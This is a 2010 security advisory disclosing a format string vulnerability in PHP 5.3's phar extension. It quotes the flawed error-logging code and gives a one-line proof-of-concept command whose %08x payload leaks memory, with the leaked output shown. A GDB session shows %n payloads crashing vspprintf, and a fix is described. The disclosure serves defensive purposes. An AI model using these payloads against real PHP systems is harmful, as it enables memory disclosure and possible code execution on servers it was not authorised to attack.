MOPS-2010-026: PHP phar_wrapper_unlink Format String Vulnerability

May 14th, 2010

The new phar extension in PHP 5.3 contains a format string vulnerability in the internal phar_wrapper_unlink() function.

Affected versions

Affected is PHP 5.3 <= 5.3.2


The vulnerability was discovered by Stefan Esser.

Detailed information

Within the phar_wrapper_unlink() function in ext/phar/stream.c there exists a format string vulnerability in the error handling.

phar_entry_remove(idata, &error TSRMLS_CC);
if (error) {
    php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, error);

On error the php_stream_wrapper_log_error() function is called with the variable error as format string. Because error can contain user input this allows the usual format string attacks e.g. "%08x" for information leaks and "%n" for memory corruption. However the later attack is only possible in insecure PHP installations (those not patched with the Suhosin Patch).

It is important to realize that this vulnerability might allow remote code execution in certain installations of PHP through file functions exposed to user input. This is possible because every default PHP 5.3 installation comes with the phar.phar file put in a known location on the harddisk.

Proof of concept, exploit or instructions to reproduce

The following code demonstrates one of the format string vulnerabilities in the phar extension that can be triggered by most of the file functions. This means many file function that are exposed to user input can be used to leak memory.

$ php -r "fopen('phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x','r');"

Warning: fopen(phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x): failed to open stream: phar error: invalid path "*00000000-00b4a5d8-00000006-00000000-5fbff278-00000000-5fbff258-00900840-00b49310" contains star in Command line code on line 1

In insecure PHP installations (those without the Suhosin Patch applied) this vulnerability can also result in memory corruption and code execution.

And here is the GDB session demonstrating the corruption.

(gdb) run -r "fopen('phar:///usr/bin/phar.phar/*%n-%n-%n-%n-%n-%n-%n-%n','r');"
Starting program: /usr/bin/php -r "fopen('phar:///usr/bin/phar.phar/*%n-%n-%n-%n-%n-%n-%n-%n','r');"
Reading symbols for shared libraries ... done
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000000
0x00000001002c8181 in vspprintf ()
(gdb) x/2i $rip
0x1002c8181 <vspprintf+4213>:   mov    %r15d,(%rax)
0x1002c8184 <vspprintf+4216>:   mov    %r15,%rbx
(gdb) i r $rax
rax            0x0  0


This vulnerability can be fixed by just calling php_stream_wrapper_log_error() with "%s" and error as parameter.

blog comments powered by Disqus